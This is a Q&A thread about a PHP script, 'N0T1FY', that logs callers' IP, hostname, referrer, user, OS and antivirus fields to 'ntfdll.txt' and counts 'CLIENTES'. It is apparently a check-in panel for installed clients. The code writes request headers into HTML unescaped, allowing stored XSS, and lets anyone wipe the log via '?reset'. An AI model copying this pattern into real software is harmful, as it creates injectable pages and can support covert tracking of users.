php file (with html) is not displaying content

Asked

Viewed 79 times

0

I am finishing a small counter of visits to a desktop software, and my problem is that simply the content of this.php file is not being rendered in the browser, even using the Wamp Server.

Somebody give me a hand with that?

Contents of the.php file

<?php

$user = "AAAAAA";//$_GET['aa'];
$av = "BBBBBBB";//$_GET['bb'];
$so = "CCCCCCCC";//$_GET['cc'];

$plog_ip = $_SERVER["REMOTE_ADDR"] ? $_SERVER["REMOTE_ADDR"] : "N/A";
$plog_ref = $_SERVER["HTTP_REFERER"] ? $_SERVER["HTTP_REFERER"] : "N/A";
$plog_host = @gethostbyaddr($plog_ip) ? @gethostbyaddr($plog_ip) : "N/A";
$plog_date = date("d/m/Y"); 
$plog_incr = 1;

if (isset($_GET["view"]))
{
        $linesno = 0;
        if(($flog = @fopen("ntfdll.txt", 'rb')) !== FALSE)
        {
            while (!@feof($flog))
            {
                $shit = @fgets($flog, 4096);
                $linesno++;
            }
            @fclose($flog);
        }
?>

<html>
<head>
<title>== / N0T1FY \ == </title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
.style1 {
    font-size: 11px;
    font-weight: bold;
    font-family: Arial, Helvetica, sans-serif;
}
.style6 {
    font-size: 12px;
    font-family: Arial, Helvetica, sans-serif;
    color: #FFFFFF;
}
.style11 {color: #990000}
.style20 {color: #990000; font-size: 12px; font-family: Arial, Helvetica, sans-serif;}
.style21 {font-size: 12px; font-family: Arial, Helvetica, sans-serif;}
.style22 {font-size: 12px}
.style23 {
    color: #990000;
    font-size: 12px;
    font-family: "Courier New", Courier, monospace;
    font-weight: bold;
}
.style26 {font-size: 12px; font-family: "Courier New", Courier, monospace; font-weight: bold; }
.style27 {color: #FFFFFF}
.style28 {color: #FFFFFF; font-size: 12px; font-family: "Courier New", Courier, monospace; font-weight: bold; }
.style29 {color: #000000}
.style30 {color: #000000; font-size: 12px; font-family: "Courier New", Courier, monospace; font-weight: bold; }
body {
    background-color: #DEDBC6;
}
.style35 {font-family: Arial, Helvetica, sans-serif; font-weight: bold;}
-->
</style>
</head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<!-- ImageReady Slices (notify.tif) -->
<table id="Table_01" width="100%" height="68" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="19%" height="48" background="http://27.media.tumblr.com/tumblr_lkmvmnI3Pf1qec8uno1_500.gif">
            <img src="http://27.media.tumblr.com/tumblr_lkmvmnI3Pf1qec8uno1_500.gif" height="48" alt=""><img src="http://27.media.tumblr.com/tumblr_lkmvmnI3Pf1qec8uno1_500.gif" width="15" height="48" alt=""></td>
        <td width="81%" background="http://27.media.tumblr.com/tumblr_lkmvmnI3Pf1qec8uno1_500.gif">&nbsp;</td>
    </tr>
  <tr>
        <td height="17" bgcolor="#DEDBC6">&nbsp;</td>
        <td bgcolor="#DEDBC6" class="style23"><div align="right" class="style23"><span class="style35">CLIENTES = <?=($linesno-1) ?></span>&nbsp;&nbsp;</div></td>
</tr></table>
<div align="right"></div>
<table width="100%" height="69" border="0" cellpadding="0" cellspacing="0">
  <tr></tr>

<table width="100%" border="0" cellpadding="1" cellspacing="1" bordercolor="#990000" class="style23">
  <tr>
    <td width="7%" bgcolor="#4A4D42"><div align="right" class="style20"><span class="style27">X</span>&nbsp;&nbsp;</div></td>
    <th width="11%" nowrap bgcolor="#4A4D42" c><div align="center"><span class="style28">DATA</span></div></th>
    <td width="52%" bgcolor="#4A4D42"><div align="center" class="style6">
      <div align="left" class="style23">&nbsp;&nbsp;&nbsp;<span class="style27">[IP / Hostname]</span></div>
    </div></td>
    <td width="30%" bgcolor="#4A4D42"><div align="left" class="style27">&nbsp;&nbsp;[HTTP Referrer]</div></td>
    <td width="40%" bgcolor="#4A4D42"><div align="left" class="style27">&nbsp;&nbsp;[Plugin]</div></td>
    <td width="40%" bgcolor="#4A4D42"><div align="left" class="style27">&nbsp;&nbsp;[SO]</div></td>
    <td width="40%" bgcolor="#4A4D42"><div align="left" class="style27">&nbsp;&nbsp;[USER]</div></td>
  </tr>
<?php

        if(($plog_read = @fopen("ntfdll.txt", 'rb')) !== FALSE)
        {

            while (!@feof($plog_read))
            {
                $plog_line = @fgets($plog_read, 4096);
                if(trim($plog_line) != "")
                    echo '<tr><td height="10" bordercolor="#990000" bgcolor="#B5B29C" class="style1"><div align="right" class="style22"><span class="style29">'.$plog_incr++.'</span>&nbsp;&nbsp;</div></td><td height="10" bordercolor="#990000" bgcolor="#B5B29C"><div align="center" class="style26"><span class="style29">' . $plog_line;
            }
            @fclose($plog_read);

        }
?>
</table>
</body>
</html>
<?php

    }
else if(isset($_GET["reset"]))
    {
        if(($plog = @fopen("ntfdll.txt", 'wb')) !== FALSE)
        {
            @fputs($plog, '');
            @fclose($plog);
            echo "Lista apagada...";
        }
    }
else if(isset($_GET["v"]))
    {
        $linesno = 0;
        if(($flog = @fopen("ntfdll.txt", 'rb')) !== FALSE)
        {
            while (!@feof($flog))
            {
                $shit = @fgets($flog, 4096);
                $linesno++;
            }
            @fclose($flog);
        }
        echo '<html><body bgcolor="black"><br /><br /><p align="center" style="color:white;font-weight:bold">CLIENTES = '.($linesno > 0 ? $linesno - 1 : 0) .'</p></body></html>';
    }
else
    {
        if(($plog = @fopen("ntfdll.txt", 'ab')) !== FALSE)
        {
            @fputs($plog, '['.$plog_date.']</span></div></td><td height="10" bordercolor="#990000" bgcolor="#B5B29C"><span class="style30">&nbsp;&nbsp;&nbsp;['.$plog_ip.', '.$plog_host.']</span></td><td height="10" bordercolor="#990000" bgcolor="#B5B29C">&nbsp;&nbsp;<span class="style29">['.$plog_ref.']</span>                                                                                                                            
            <td height="10" bordercolor="#990000" bgcolor="#B5B29C">&nbsp;&nbsp;<span class="style29">['.$user.']</span></td>
            <td height="10" bordercolor="#990000" bgcolor="#B5B29C">&nbsp;&nbsp;<span class="style29">['.$so.']</span></td>
            <td height="10" bordercolor="#990000" bgcolor="#B5B29C">&nbsp;&nbsp;<span class="style29">['.$av.']</span></td>

            </tr>'."\r\n");
            @fclose($plog);
            echo "OK!";
        }
    }

?>

Thank you for any suggestion left here.

  • Take a look at this to see how you can view script errors: http://stackoverflow.com/a/21429652/1817673

1 answer

-1


Edit: Now that I have understood the rest of the code... so I could understand in the code the page will only be displayed if the GET['view'] is set, IE, to access the page would have to be

php? page view=qqercoisa

Otherwise the content will not even appear.

  • on which line (part)? as there are several ifs :-)

  • There are several ifs in the code. So that your comment is not negative, you could add in the answer if it needs to be closed.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.